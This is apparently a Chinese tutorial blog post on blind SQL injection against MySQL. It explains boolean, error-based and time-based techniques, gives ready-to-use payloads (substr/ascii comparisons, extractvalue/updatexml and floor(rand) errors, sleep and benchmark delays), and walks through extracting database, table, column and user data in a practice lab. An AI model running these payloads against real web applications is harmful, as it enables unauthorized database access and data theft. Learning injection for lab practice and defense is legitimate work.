欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

sql注入-盲注

程序员文章站 2022-05-15 08:30:18
...

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。手工的盲注是比较繁琐的,我们一般用自动化工具就可以跑出来,所以这里我会根据源码尽量缩短代码量,尽管使用二分法一个个试也很繁琐,目的并在于理解盲注原理与过程,自己会做就Ok了。我知道的sql盲注可分三类:
1.基于布尔sql盲注
2.基于时间的sql盲注
3.基于报错的sql盲注

基于布尔sql盲注——构造逻辑判断

mid()函数

此函数为截取字符串的一部分。
用法:mid(column_name,start,length)
column_name:必需,要提取的字符字段。
start:必需,规定开始的位置(起始值是1)
length:可选,要返回的字符数。如果省略,则mid函数返回剩余文本。
Eg: str=“123456” mid(str,2,1) 结果为2
Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位是否大于a,MID(DATABASE (),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

Left()函数

得到字符串左部指定个数的字符
Left ( string, n )
string为要截取的字符串,n为长度。
Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。

例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’

ascii()函数

用法:将某个字符转换为ASCII码的值,常配合截取函数使用

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+

substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值

ord()函数

Ord()函数同 ascii(),将字符转为 ascii 值

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDERBY id LIMIT 0,1),1,1))>98%23

mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位Ord()函数同 ascii(),将字符转为 ascii 值

regexp()正则注入函数

用法:select user() regexp ‘1’;
正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp '^ro’来进行。
当正确的时候显示结果为 1,不正确的时候显示结果为 0。
示例介绍:

 select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^ri');

通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等于 0 或者 1 进行判断。

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

注意:如果这里想要匹配table_name中的其他项,并不是把limit 0,1改为limit 1,1 。而是使用like 匹配注入,因为limit 作用在前面的 select 语句中,而不是 regexp。
用法:select user() like ‘ro%’

基于报错的 SQL 盲注——构造 payload 让信息通过错误提示回显出来

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。
果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

select exp(~(select * FROM(SELECT USER())a))
//double 数值类型超出范围
Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上

select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上

extractvalue(1,concat(0x7e,(select @@version),0x7e))
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。

基于时间的 SQL 盲注——延时注入

If(ascii(substr(database(),1,1))>115,0,sleep(5))#

//if 判断语句,条件为假,执行 sleep

Ps:遇到以下这种利用 sleep()延时注入语句

select sleep(find_in_set(mid(@@version, 1, 1),'0,1,2,3,4,5,6,7,8,9,.'));

该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M
SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达
式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执
行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()
函数进行注入。

实战靶场

这里我是事先看过数据库与源码的,所以不慢慢猜了,直接一步一步往下做了。
我们先查看数据库版本
sql注入-盲注
回显正确,数据库为5版本以上,当数据库版本不对则回显如下:
sql注入-盲注
接下来猜数据库名长度
sql注入-盲注
库名长度为8,接下来猜数据库名第一位
sql注入-盲注
数据库为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。
猜数据库名第二位
sql注入-盲注
重复以上步骤往下猜猜出库名为security

利用 substr() ascii()函数进行尝试

sql注入-盲注
获取第二位字符
这里我们已经了解了 substr()函数,这里使用 substr(**,2,1)即可。
sql注入-盲注
那如何获取第二个表呢?思考一下!这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那要获取第二个是不是就是 limit 1,1!
sql注入-盲注
此处 113 返回是正确的,因为第二个表示 referers 表,所以第一位就是 r. 以后的过程就是不断的重复上面的,这里就不重复造*了。原理已经解释清楚了。当你按照方法运行结束后,就可以获取到所有的表的名字。

利用 regexp 获取security中 users 表中的列

sql注入-盲注
上述语句时选择 users 表中的列名是否有 us**的列,下面确定第一列为usename
sql注入-盲注
利用 ord()和 mid()函数获取 users 表的内容
sql注入-盲注
获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii,与 68 进行比较,即为 D。而我们从表中得知第一行的数据为 Dumb。所以接下来只需要重复造*即可。


  1. a-z ↩︎

相关标签: Web基础学习